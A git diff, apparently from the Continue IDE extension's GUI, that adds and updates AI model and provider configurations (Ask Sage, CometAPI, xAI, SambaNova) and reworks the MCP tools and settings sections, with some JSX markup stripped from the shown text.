4.5 Sonnet*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "anthropic.png", + isOpenSource: false, + }, + asksageclaude41opus: { + title: "Claude 4.1 Opus*", + description: "Claude 4.1 Opus", + params: { + model: "google-claude-4-opus", + contextLength: 200_000, + title: "Claude 4.1 Opus*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "anthropic.png", + isOpenSource: false, + }, + asksagenovalite: { + title: "Nova Lite*", + description: "AWS Gov Nova Lite model.", + params: { + model: "aws-bedrock-nova-lite-gov", + contextLength: 300_000, + title: "Nova Lite*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "aws.png", + isOpenSource: false, + }, asksagegroqllama33: { title: "Llama 3.3", description: "Llama-3.3 is a large language model customized by Groq.", @@ -1532,7 +1715,9 @@ export const models: { [key: string]: ModelPackage } = { title: "Llama 3.3", model: "groq-llama33", contextLength: 128_000, + apiKey: "", }, + providerOptions: ["askSage"], icon: "groq.png", isOpenSource: true, }, @@ -1543,10 +1728,66 @@ export const models: { [key: string]: ModelPackage } = { title: "Groq-70B", model: "groq-70b", contextLength: 8_192, + apiKey: "", }, + providerOptions: ["askSage"], icon: "groq.png", isOpenSource: true, }, + asksagegemini20Flash: { + title: "Gemini 2.0 Flash*", + description: + "Google's powerful workhorse model with low latency and enhanced performance.", + params: { + title: "Gemini 2.0 Flash*", + model: "google-gemini-20-flash", + contextLength: 1_000_000, + apiKey: "", + }, + icon: "gemini.png", + providerOptions: ["askSage"], + isOpenSource: false, + }, + asksagegemini25Pro: { + title: "Gemini 2.5 Pro*", + description: "Google's Gemini 2.5 Pro model", + params: { + title: "Gemini 2.5 Pro*", + model: "google-gemini-2.5-pro", + contextLength: 1_000_000, + apiKey: "", + }, + icon: "gemini.png", + providerOptions: ["askSage"], + isOpenSource: false, + }, + asksagegemini25flash: { + title: "Gemini 2.5 Flash*", + description: "Google's Gemini 2.5 Flash model", + params: { + title: "Gemini 2.5 Flash*", + model: "google-gemini-2.5-flash", + contextLength: 1_000_000, + apiKey: "", + }, + icon: "gemini.png", + providerOptions: ["askSage"], + isOpenSource: false, + }, + asksagegrok4: { + title: "Grok 4", + description: + "xAI's latest and greatest flagship model, offering strong performance in natural language, math and reasoning.", + params: { + title: "Grok 4", + model: "xai-grok", + contextLength: 256_000, + apiKey: "", + }, + icon: "xAI.png", + providerOptions: ["askSage"], + isOpenSource: false, + }, Qwen2Coder: { title: "Qwen 2.5 Coder 7b", description: @@ -1585,17 +1826,86 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: ["scaleway", "nebius", "ovhcloud", "ncompass"], isOpenSource: true, }, - grokBeta: { - title: "Grok Beta", - description: "Generative artificial intelligence chatbot developed by xAI.", - refUrl: "", + grokCodeFast1: { + title: "Grok Code Fast 1", + description: + "A speedy and economical reasoning model that excels at agentic coding", + refUrl: "https://docs.x.ai/docs/models/grok-code-fast-1", params: { - title: "Grok Beta", - model: "grok-beta", - contextLength: 128_000, + title: "Grok Code Fast 1", + model: "grok-code-fast-1", + contextLength: 256000, }, icon: "xAI.png", - providerOptions: ["xAI", "askSage"], + providerOptions: ["xAI"], + isOpenSource: false, + }, + grok4FastReasoning: { + title: "Grok 4 Fast Reasoning", + description: "xAI's latest advancement in cost-efficient reasoning models", + refUrl: "https://docs.x.ai/docs/models/grok-4-fast-reasoning", + params: { + title: "Grok 4 Fast Reasoning", + model: "grok-4-fast-reasoning", + contextLength: 2_000_000, + }, + icon: "xAI.png", + providerOptions: ["xAI"], + isOpenSource: false, + }, + grok4FastNonReasoning: { + title: "Grok 4 Fast Non-Reasoning", + description: "xAI's latest advancement in cost-efficient models", + refUrl: "https://docs.x.ai/docs/models/grok-4-fast-non-reasoning", + params: { + title: "Grok 4 Fast Non-Reasoning", + model: "grok-4-fast-non-reasoning", + contextLength: 2_000_000, + }, + icon: "xAI.png", + providerOptions: ["xAI"], + isOpenSource: false, + }, + grok4: { + title: "Grok 4", + description: + "xAI's latest and greatest flagship model, offering strong performance in natural language, math and reasoning.", + refUrl: "https://docs.x.ai/docs/models/grok-4", + params: { + title: "Grok 4", + model: "grok-4", + contextLength: 256_000, + }, + icon: "xAI.png", + providerOptions: ["xAI"], + isOpenSource: false, + }, + grok3: { + title: "Grok 3", + description: + "Excels at enterprise use cases like data extraction, coding, and text summarization", + refUrl: "https://docs.x.ai/docs/models/grok-3", + params: { + title: "Grok 3", + model: "grok-3", + contextLength: 131_072, + }, + icon: "xAI.png", + providerOptions: ["xAI"], + isOpenSource: false, + }, + grok3Mini: { + title: "Grok 3 Mini", + description: + "A lightweight model that thinks before responding. Fast, smart, and great for logic-based tasks that do not require deep domain knowledge.", + refUrl: "https://docs.x.ai/docs/models/grok-3-mini", + params: { + title: "Grok 3 Mini", + model: "grok-3-mini", + contextLength: 131_072, + }, + icon: "xAI.png", + providerOptions: ["xAI"], isOpenSource: false, }, gemma2_2b: { @@ -1705,25 +2015,13 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: ["siliconflow"], isOpenSource: true, }, - llama4Scout: { - title: "Llama 4 Scout Instruct", - description: "A model from Meta, fine-tuned for chat", - params: { - title: "Llama 4 Scout Instruct", - model: "Llama-4-Scout-17B-16E-Instruct", - contextLength: 16_000, - }, - icon: "meta.png", - providerOptions: ["sambanova"], - isOpenSource: true, - }, llama4Maverick: { title: "Llama 4 Maverick Instruct", description: "A model from Meta, fine-tuned for chat", params: { title: "Llama 4 Maverick Instruct", model: "Llama-4-Maverick-17B-128E-Instruct", - contextLength: 16_000, + contextLength: 128_000, }, icon: "meta.png", providerOptions: ["sambanova"], @@ -1741,6 +2039,18 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: ["sambanova"], isOpenSource: true, }, + llama33Swallow70BInstruct: { + title: "Llama 3.3 Swallow 70B Instruct", + description: "A model from TokyoTech, fine-tuned for chat", + params: { + title: "Llama 3.3 70B instruct", + model: "Llama-3.3-Swallow-70B-Instruct-v0.4", + contextLength: 128_000, + }, + icon: "meta.png", + providerOptions: ["sambanova"], + isOpenSource: true, + }, llama318BInstruct: { title: "Llama3.1 8B", description: "A model from Meta, fine-tuned for chat", @@ -1754,58 +2064,6 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: ["sambanova"], isOpenSource: true, }, - llama31405BInstruct: { - title: "Llama3.1 405B", - description: "A model from Meta, fine-tuned for chat", - refUrl: "", - params: { - title: "Llama 3.1 405B Instruct", - model: "Meta-Llama-3.1-405B-Instruct", - contextLength: 16_000, - }, - icon: "meta.png", - providerOptions: ["sambanova"], - isOpenSource: true, - }, - llama321BInstruct: { - title: "Llama3.2 1B", - description: "A model from Meta, fine-tuned for chat", - refUrl: "", - params: { - title: "Llama 3.2 1B Instruct", - model: "Meta-Llama-3.2-1B-Instruct", - contextLength: 16_000, - }, - icon: "meta.png", - providerOptions: ["sambanova"], - isOpenSource: true, - }, - llama323BInstruct: { - title: "Llama3.2 3B", - description: "A model from Meta, fine-tuned for chat", - refUrl: "", - params: { - title: "Llama 3.2 3B Instruct", - model: "Meta-Llama-3.2-3B-Instruct", - contextLength: 8192, - }, - icon: "meta.png", - providerOptions: ["sambanova"], - isOpenSource: true, - }, - qwq32B: { - title: "QwQ 32B", - description: - "QwQ-32B is Qwen's latest experimental research model, focusing on improving AI reasoning capabilities.", - params: { - title: "QwQ 32B", - model: "QwQ-32B", - contextLength: 16_000, - }, - icon: "qwen.png", - providerOptions: ["sambanova"], - isOpenSource: true, - }, deepseekR1DistillLlama70B: { title: "DeepSeek R1 Distill Llama 70B", description: "A llama 3.1 70 model distilled from deekseek R1", @@ -1824,7 +2082,7 @@ export const models: { [key: string]: ModelPackage } = { params: { title: "DeepSeek R1", model: "DeepSeek-R1", - contextLength: 8192, + contextLength: 32_000, }, icon: "deepseek.png", providerOptions: ["sambanova"], @@ -1842,6 +2100,42 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: ["sambanova"], isOpenSource: true, }, + deepseekV31: { + title: "DeepSeek V3.1", + description: "DeekSeek V3.1 reasoning model from DeepSeek", + params: { + title: "DeepSeek V3.1", + model: "DeepSeek-V3.1", + contextLength: 32_000, + }, + icon: "deepseek.png", + providerOptions: ["sambanova"], + isOpenSource: true, + }, + qwen332B: { + title: "Qwen 3 32B", + description: "Qwen 3 32B model from Alibaba", + params: { + title: "Qwen 3 32B", + model: "Qwen3-32B", + contextLength: 8192, + }, + icon: "qwen.png", + providerOptions: ["sambanova"], + isOpenSource: true, + }, + gptOss120b: { + title: "GPT OSS 120B", + description: "GPT oss 120b reasoning model from OpenAI", + params: { + title: "GPT OSS 120B", + model: "gpt-oss-120b", + contextLength: 128_000, + }, + icon: "openai.png", + providerOptions: ["sambanova"], + isOpenSource: true, + }, AUTODETECT: { title: "Autodetect", description: @@ -1852,4 +2146,380 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: [], isOpenSource: false, }, + + // CometAPI Models + + // GPT series models via CometAPI + cometapiGpt5ChatLatest: { + title: "GPT-5 Chat Latest", + description: + "GPT-5 Chat Latest via CometAPI - OpenAI's most advanced conversational model.", + params: { + model: "gpt-5-chat-latest", + contextLength: 400_000, + title: "GPT-5 Chat Latest", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiGpt5Mini: { + title: "GPT-5 Mini", + description: + "GPT-5 Mini via CometAPI - compact version of GPT-5 optimized for efficiency.", + params: { + model: "gpt-5-mini", + contextLength: 400_000, + title: "GPT-5 Mini", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiGpt5: { + title: "GPT-5", + description: + "GPT-5 via CometAPI - OpenAI's flagship model with advanced reasoning capabilities.", + params: { + model: "gpt-5", + contextLength: 200_000, + title: "GPT-5", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiChatgpt4oLatest: { + title: "ChatGPT-4o Latest", + description: + "ChatGPT-4o Latest via CometAPI - latest version of GPT-4o with enhanced capabilities.", + params: { + model: "chatgpt-4o-latest", + contextLength: 128_000, + title: "ChatGPT-4o Latest", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiGpt41: { + title: "GPT-4.1", + description: + "GPT-4.1 via CometAPI - enhanced version of GPT-4.1 with improved reasoning.", + params: { + model: "gpt-4.1", + contextLength: 100_000, + title: "GPT-4.1", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiO4Mini: { + title: "O4 Mini", + description: + "O4 Mini via CometAPI - OpenAI's reasoning model optimized for efficiency.", + params: { + model: "o4-mini-2025-04-16", + contextLength: 200_000, + title: "O4 Mini", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiO3Pro: { + title: "O3 Pro", + description: + "O3 Pro via CometAPI - advanced reasoning model with enhanced problem-solving capabilities.", + params: { + model: "o3-pro-2025-06-10", + contextLength: 200_000, + title: "O3 Pro", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + + // Claude series models via CometAPI + cometapiClaudeOpus41: { + title: "Claude Opus 4.1", + description: + "Claude Opus 4.1 via CometAPI - Anthropic's most capable model with advanced reasoning.", + params: { + model: "claude-opus-4-1-20250805", + contextLength: 200_000, + title: "Claude Opus 4.1", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiClaudeOpus41Thinking: { + title: "Claude Opus 4.1 Thinking", + description: + "Claude Opus 4.1 Thinking via CometAPI - version with enhanced thinking capabilities.", + params: { + model: "claude-opus-4-1-20250805-thinking", + contextLength: 200_000, + title: "Claude Opus 4.1 Thinking", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiClaudeSonnet4: { + title: "Claude Sonnet 4", + description: + "Claude Sonnet 4 via CometAPI - balanced performance and efficiency from Anthropic.", + params: { + model: "claude-sonnet-4-20250514", + contextLength: 200_000, + title: "Claude Sonnet 4", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiClaudeSonnet4Thinking: { + title: "Claude Sonnet 4 Thinking", + description: + "Claude Sonnet 4 Thinking via CometAPI - version with enhanced reasoning capabilities.", + params: { + model: "claude-sonnet-4-20250514-thinking", + contextLength: 200_000, + title: "Claude Sonnet 4 Thinking", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiClaude37SonnetLatest: { + title: "Claude 3.7 Sonnet Latest", + description: + "Claude 3.7 Sonnet Latest via CometAPI - latest version of Claude 3.7 Sonnet.", + params: { + model: "claude-3-7-sonnet-latest", + contextLength: 200_000, + title: "Claude 3.7 Sonnet Latest", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiClaude35HaikuLatest: { + title: "Claude 3.5 Haiku Latest", + description: + "Claude 3.5 Haiku Latest via CometAPI - fast and efficient model from Anthropic.", + params: { + model: "claude-3-5-haiku-latest", + contextLength: 200_000, + title: "Claude 3.5 Haiku Latest", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + + // Gemini series models via CometAPI + cometapiGemini25Pro: { + title: "Gemini 2.5 Pro", + description: + "Gemini 2.5 Pro via CometAPI - Google's advanced multimodal model with enhanced capabilities.", + params: { + model: "gemini-2.5-pro", + contextLength: 1_000_000, + title: "Gemini 2.5 Pro", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiGemini25Flash: { + title: "Gemini 2.5 Flash", + description: + "Gemini 2.5 Flash via CometAPI - optimized for speed and efficiency.", + params: { + model: "gemini-2.5-flash", + contextLength: 1_000_000, + title: "Gemini 2.5 Flash", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiGemini25FlashLite: { + title: "Gemini 2.5 Flash Lite", + description: + "Gemini 2.5 Flash Lite via CometAPI - lightweight version for faster responses.", + params: { + model: "gemini-2.5-flash-lite", + contextLength: 8_000, + title: "Gemini 2.5 Flash Lite", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiGemini20Flash: { + title: "Gemini 2.0 Flash", + description: + "Gemini 2.0 Flash via CometAPI - Google's powerful workhorse model with low latency.", + params: { + model: "gemini-2.0-flash", + contextLength: 32_000, + title: "Gemini 2.0 Flash", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + + // Grok series models via CometAPI + cometapiGrok40709: { + title: "Grok 4", + description: + "Grok 4 via CometAPI - xAI's advanced model with real-time information access.", + params: { + model: "grok-4-0709", + contextLength: 256_000, + title: "Grok 4", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiGrok3: { + title: "Grok 3", + description: "Grok 3 via CometAPI - powerful reasoning model from xAI.", + params: { + model: "grok-3", + contextLength: 128_000, + title: "Grok 3", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiGrok3Mini: { + title: "Grok 3 Mini", + description: "Grok 3 Mini via CometAPI - efficient version of Grok 3.", + params: { + model: "grok-3-mini", + contextLength: 128_000, + title: "Grok 3 Mini", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + + // DeepSeek series models via CometAPI (additional) + cometapiDeepseekV31: { + title: "DeepSeek V3.1", + description: + "DeepSeek V3.1 via CometAPI - enhanced version with improved performance.", + params: { + model: "deepseek-v3.1", + contextLength: 128_000, + title: "DeepSeek V3.1", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiDeepseekR10528: { + title: "DeepSeek R1", + description: + "DeepSeek R1 via CometAPI - reasoning model with enhanced problem-solving capabilities.", + params: { + model: "deepseek-r1-0528", + contextLength: 64_000, + title: "DeepSeek R1", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiDeepseekChat: { + title: "DeepSeek Chat", + description: + "DeepSeek Chat via CometAPI - optimized for conversational AI tasks.", + params: { + model: "deepseek-chat", + contextLength: 64_000, + title: "DeepSeek Chat", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiDeepseekReasoner: { + title: "DeepSeek Reasoner", + description: + "DeepSeek Reasoner via CometAPI - specialized model for complex reasoning tasks.", + params: { + model: "deepseek-reasoner", + contextLength: 64_000, + title: "DeepSeek Reasoner", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + + // Qwen series models via CometAPI + cometapiQwen330BA3B: { + title: "Qwen 3 30B A3B", + description: + "Qwen 3 30B A3B via CometAPI - Alibaba's advanced language model with 30B parameters.", + params: { + model: "qwen3-30b-a3b", + contextLength: 128_000, + title: "Qwen 3 30B A3B", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, + cometapiQwen3CoderPlus: { + title: "Qwen 3 Coder Plus", + description: + "Qwen 3 Coder Plus via CometAPI - specialized coding model from Alibaba.", + params: { + model: "qwen3-coder-plus-2025-07-22", + contextLength: 262_000, + title: "Qwen 3 Coder Plus", + apiKey: "", + }, + providerOptions: ["cometapi"], + icon: "cometapi.png", + isOpenSource: false, + }, }; diff --git a/gui/src/pages/AddNewModel/configs/providers.ts b/gui/src/pages/AddNewModel/configs/providers.ts index cba89d3f3..1bab7abeb 100644 --- a/gui/src/pages/AddNewModel/configs/providers.ts +++ b/gui/src/pages/AddNewModel/configs/providers.ts @@ -49,6 +49,65 @@ export const apiBaseInput: InputDescriptor = { }; export const providers: Partial> = { + cometapi: { + title: "CometAPI", + provider: "cometapi", + description: "500+ AI Model API,All In One API. Just In CometAPI", + longDescription: + "Unified Access to Leading AI Models, see [here](https://www.cometapi.com/?utm_source=continue&utm_medium=integration&utm_campaign=cometapi_integration&utm_content=continue_plugin) for more details.", + icon: "cometapi.png", + tags: [ModelProviderTags.RequiresApiKey], + collectInputFor: [ + { + inputType: "text", + key: "apiKey", + label: "API Key", + placeholder: "Enter your CometAPI key", + required: true, + }, + ...completionParamsInputsConfigs, + ], + packages: [ + // GPT, OpenAI family + models.cometapiGpt5ChatLatest, + models.cometapiGpt5Mini, + models.cometapiGpt5, + models.cometapiChatgpt4oLatest, + models.cometapiGpt41, + models.cometapiO4Mini, + models.cometapiO3Pro, + // Anthropic Claude family + models.cometapiClaudeOpus41, + models.cometapiClaudeOpus41Thinking, + models.cometapiClaudeSonnet4, + models.cometapiClaudeSonnet4Thinking, + models.cometapiClaude37SonnetLatest, + models.cometapiClaude35HaikuLatest, + // Google Gemini family + models.cometapiGemini25Pro, + models.cometapiGemini25Flash, + models.cometapiGemini25FlashLite, + models.cometapiGemini20Flash, + // xAI Grok family + models.cometapiGrok40709, + models.cometapiGrok3, + models.cometapiGrok3Mini, + // Deepseek family + models.cometapiDeepseekV31, + models.cometapiDeepseekR10528, + models.cometapiDeepseekChat, + models.cometapiDeepseekReasoner, + // Qwen family + models.cometapiQwen330BA3B, + models.cometapiQwen3CoderPlus, + //TODO: Need to wait for the improvement after the upgrade of the cometapi model list interface + // { + // ...models.AUTODETECT, + // params: { ...models.AUTODETECT.params, title: "CometAPI" }, + // }, + ], + apiKeyUrl: "https://api.cometapi.com/console/token", + }, openai: { title: "OpenAI", provider: "openai", @@ -59,6 +118,7 @@ export const providers: Partial> = { tags: [ModelProviderTags.RequiresApiKey], packages: [ models.gpt5, + models.gpt5Codex, models.gpt4o, models.gpt4omini, models.gpt4turbo, @@ -539,9 +599,6 @@ Select the \`GPT-4o\` model below to complete your provider configuration, but n models.gemini20FlashLite, models.gemini20FlashImageGeneration, models.gemini25ProExp, - models.gemini15Pro, - models.geminiPro, - models.gemini15Flash, ], apiKeyUrl: "https://aistudio.google.com/app/apikey", }, @@ -563,7 +620,14 @@ Select the \`GPT-4o\` model below to complete your provider configuration, but n required: true, }, ], - packages: [models.grokBeta], + packages: [ + models.grokCodeFast1, + models.grok4FastReasoning, + models.grok4FastNonReasoning, + models.grok4, + models.grok3, + models.grok3Mini, + ], apiKeyUrl: "https://console.x.ai/", }, lemonade: { @@ -809,17 +873,16 @@ To get started, [register](https://dataplatform.cloud.ibm.com/registration/stepo ...completionParamsInputsConfigs, ], packages: [ - models.llama4Scout, models.llama4Maverick, models.llama3370BInstruct, + models.llama33Swallow70BInstruct, models.llama318BInstruct, - models.llama31405BInstruct, - models.llama321BInstruct, - models.llama323BInstruct, - models.qwq32B, models.deepseekR1DistillLlama70B, models.deepseekR1, models.deepseekV3, + models.deepseekV31, + models.qwen332B, + models.gptOss120b, ], apiKeyUrl: "https://cloud.sambanova.ai/apis", }, @@ -860,11 +923,7 @@ To get started, [register](https://dataplatform.cloud.ibm.com/registration/stepo longDescription: "Use the supported Vertex AI models - see [here](https://cloud.google.com/docs/authentication/provide-credentials-adc) to authenticate", icon: "vertexai.png", - packages: [ - models.VertexGemini15Pro, - models.VertexGemini15Flash, - models.mistralLarge, - ], + packages: [models.mistralLarge], collectInputFor: [ { inputType: "project", @@ -884,7 +943,6 @@ To get started, [register](https://dataplatform.cloud.ibm.com/registration/stepo ...completionParamsInputsConfigs, ], }, - askSage: { title: "Ask Sage", provider: "askSage", @@ -895,7 +953,7 @@ To get started, [register](https://dataplatform.cloud.ibm.com/registration/stepo tags: [ModelProviderTags.RequiresApiKey], params: { apiKey: "", - apiBase: "https://api.asksage.ai/server/", // Default base URL + apiBase: "https://api.asksage.ai/server/", }, collectInputFor: [ { @@ -909,33 +967,46 @@ To get started, [register](https://dataplatform.cloud.ibm.com/registration/stepo inputType: "text", key: "apiBase", label: "API Base URL", - placeholder: "Enter the API Base URL", + placeholder: "Enter your Ask Sage API base URL", required: true, + defaultValue: "https://api.asksage.ai/server/", }, ...completionParamsInputsConfigs, ], packages: [ - models.asksagegpt4ogov, - models.asksagegpt4ominigov, - models.asksagegpt4gov, - models.asksagegpt35gov, - models.gpt4o, - models.gpt4omini, - models.asksagegpt4, - models.asksagegpt432, - models.asksagegpto1, - models.asksagegpto1mini, - models.gpt35turbo, + models.asksageclaude45sonnet, + models.asksageclaude4sonnet, + models.asksageclaude41opus, + models.asksagegpt5, + models.asksagegpt5nano, + models.asksagegpt5mini, + models.asksagegemini20Flash, + models.asksagegemini25Pro, + models.asksagegemini25flash, models.asksageclaude35gov, - models.claude35Sonnet, - models.claude3Opus, - models.claude3Sonnet, - models.grokBeta, - models.asksagegroqllama33, + models.asksageclaude37sonnetgov, + models.asksagegpt4o, + models.asksagegpt4omini, + models.asksagegpt4gov, + models.asksagegpt4ogov, + models.asksagegpt35, + models.asksagegpt35gov, + models.asksagegpt4ominigov, + models.asksagegpt4, + models.asksagegpto1, + models.asksagegpt41, + models.asksagegpt41mini, + models.asksagegpt41nano, + models.asksagegpto3, + models.asksagegpt04mini, + models.asksagenovalite, models.asksagegroq70b, - models.mistralLarge, - models.llama370bChat, - models.gemini15Pro, + models.asksagegroqllama33, + models.asksagegrok4, + models.asksageclaude35Sonnet, + models.asksageclaude37sonnet, + models.asksageclaude4s, + models.asksageclaude4o, ], apiKeyUrl: "https://chat.asksage.ai/", }, diff --git a/gui/src/pages/config/components/ConfigHeader.tsx b/gui/src/pages/config/components/ConfigHeader.tsx index 6449d11d1..73779258d 100644 --- a/gui/src/pages/config/components/ConfigHeader.tsx +++ b/gui/src/pages/config/components/ConfigHeader.tsx @@ -1,6 +1,7 @@ import { PlusIcon } from "@heroicons/react/24/outline"; import { ToolTip } from "../../../components/gui/Tooltip"; import { Button } from "../../../components/ui"; +import { cn } from "../../../util/cn"; interface ConfigHeaderProps { title: string; @@ -9,6 +10,7 @@ interface ConfigHeaderProps { addButtonTooltip?: string; className?: string; variant?: "default" | "sm"; + showAddButton?: boolean; } export function ConfigHeader({ @@ -18,6 +20,7 @@ export function ConfigHeader({ addButtonTooltip = "Add item", className = "", variant = "default", + showAddButton = true, }: ConfigHeaderProps) { const isSmall = variant === "sm"; const marginBottom = isSmall ? "mb-4" : "mb-6"; @@ -26,13 +29,16 @@ export function ConfigHeader({ return (
{title} {subtext &&

{subtext}

}
- {onAddClick && ( + {showAddButton && onAddClick && (
- - )} + + + )} + + + + + + {server.isProtectedResource && server.status === "connected" && ( + + Logout + + )} - -
- -
-
+ + editBlock( + serverFromYaml && "uses" in serverFromYaml + ? serverFromYaml.uses + : undefined, + server.sourceFile, + ) + } + > + + Edit + - - - + {server.status === "connected" && ( + + {" "} + Disconnect + + )} + + {server.status !== "connecting" && ( + + {server.status === "disabled" ? ( + + ) : ( + + )} + Reload + + )} +
+
{/* Individual resource rows */}
- - } - sectionKey={`${server.id}-tools`} - /> - - - } - sectionKey={`${server.id}-prompts`} - /> - - - } - sectionKey={`${server.id}-resources`} + + {server.prompts.length > 0 && ( + + } + sectionKey={`${server.id}-prompts`} + /> + )} + {(server.resources.length > 0 || + server.resourceTemplates.length > 0) && ( + + } + sectionKey={`${server.id}-resources`} + /> + )}
{/* Error display below expandable section */} @@ -292,8 +405,11 @@ function MCPServerPreview({ server, serverFromYaml }: MCPServerStatusProps) { ); } -function McpSubsection() { +export function ToolsSection() { + const availableTools = useAppSelector((state) => state.config.config.tools); + const currentOrg = useAppSelector(selectCurrentOrg); + const mode = useAppSelector((store) => store.session.mode); const servers = useAppSelector( (store) => store.config.config.mcpServerStatuses, ); @@ -302,6 +418,20 @@ function McpSubsection() { const disableMcp = currentOrg?.policy?.allowMcpServers === false; const isLocal = selectedProfile?.profileType === "local"; + const duplicateDetection = useMemo(() => { + const counts: Record = {}; + availableTools.forEach((tool) => { + if (counts[tool.function.name]) { + counts[tool.function.name] = counts[tool.function.name] + 1; + } else { + counts[tool.function.name] = 1; + } + }); + return Object.fromEntries( + Object.entries(counts).map(([k, v]) => [k, v > 1]), + ); + }, [availableTools]); + const mergedBlocks = useMemo(() => { const parsed = selectedProfile?.rawYaml ? parseConfigYaml(selectedProfile?.rawYaml ?? "") @@ -317,7 +447,7 @@ function McpSubsection() { .map((server) => [server.name, server]) ?? [], ); - return (servers ?? []).map((doc) => ({ + return (servers ?? []).map((doc: MCPServerStatus) => ({ block: doc, blockFromYaml: yamlServersByName.get(doc.name), })); @@ -336,56 +466,78 @@ function McpSubsection() { } }; - return ( -
- - {disableMcp ? ( - - - - ) : mergedBlocks.length > 0 ? ( - mergedBlocks.map(({ block, blockFromYaml }, index) => ( -
- - - - {index < mergedBlocks.length - 1 &&
} -
- )) - ) : ( - - - - )} -
- ); -} + const allToolsOff = useMemo(() => { + return mode === "chat"; + }, [mode]); -function ToolPoliciesSubsection() { - return ( -
- - -
- ); -} - -export function ToolsSection() { - const availableTools = useAppSelector((state) => state.config.config.tools); - - const hasTools = availableTools && availableTools.length > 0; + const availableToolsMessage = + mode === "chat" + ? "All tools disabled in Chat, switch to Plan or Agent mode to use tools" + : mode === "plan" + ? "Read-only tools available in Plan mode" + : ""; return ( <> - -
- - {hasTools && } + + {!!availableToolsMessage && ( +
+ + {availableToolsMessage} + +
+ )} +
+ + + {disableMcp ? ( + + + + ) : ( + <> + {mode === "chat" && ( + + + All MCPs are disabled in Chat, switch to Plan or Agent mode to + use MCPs + + + )} + {mergedBlocks.length > 0 ? ( + mergedBlocks.map(({ block, blockFromYaml }) => ( + + )) + ) : ( + + + + )} + + )}
); diff --git a/gui/src/pages/config/sections/UserSettingsSection.tsx b/gui/src/pages/config/sections/UserSettingsSection.tsx index afa56aca4..27b7f9bb1 100644 --- a/gui/src/pages/config/sections/UserSettingsSection.tsx +++ b/gui/src/pages/config/sections/UserSettingsSection.tsx @@ -64,7 +64,6 @@ export function UserSettingsSection() { const codeWrap = config.ui?.codeWrap ?? false; const showChatScrollbar = config.ui?.showChatScrollbar ?? false; const readResponseTTS = config.experimental?.readResponseTTS ?? false; - const autoAcceptEditToolDiffs = config.ui?.autoAcceptEditToolDiffs ?? false; const displayRawMarkdown = config.ui?.displayRawMarkdown ?? false; const disableSessionTitles = config.disableSessionTitles ?? false; const useCurrentFileAsContext = @@ -163,15 +162,6 @@ export function UserSettingsSection() { handleUpdate({ displayRawMarkdown: !value }) } /> - - handleUpdate({ autoAcceptEditToolDiffs: value }) - } - />
diff --git a/gui/src/pages/config/sections/docs/DocsIndexingStatus.test.tsx b/gui/src/pages/config/sections/docs/DocsIndexingStatus.test.tsx index d77f723fd..9c09e839a 100644 --- a/gui/src/pages/config/sections/docs/DocsIndexingStatus.test.tsx +++ b/gui/src/pages/config/sections/docs/DocsIndexingStatus.test.tsx @@ -10,6 +10,7 @@ import { Provider } from "react-redux"; import { beforeEach, describe, expect, it, vi } from "vitest"; import { AuthProvider } from "../../../../context/Auth"; import { IdeMessengerContext } from "../../../../context/IdeMessenger"; +import { MockIdeMessenger } from "../../../../context/MockIdeMessenger"; import { createMockStore } from "../../../../util/test/mockStore"; import DocsIndexingStatus from "./DocsIndexingStatus"; @@ -27,19 +28,12 @@ describe("DocsIndexingStatus", () => { const renderComponent = async ( props: any = {}, storeState = {}, - mockIdeMessengerSetup?: (mock: any) => void, + mockMessenger?: MockIdeMessenger, ) => { - const { mockIdeMessenger, ...store } = createMockStore(storeState); - - // Configure the mockIdeMessenger for this test - if (mockIdeMessengerSetup) { - 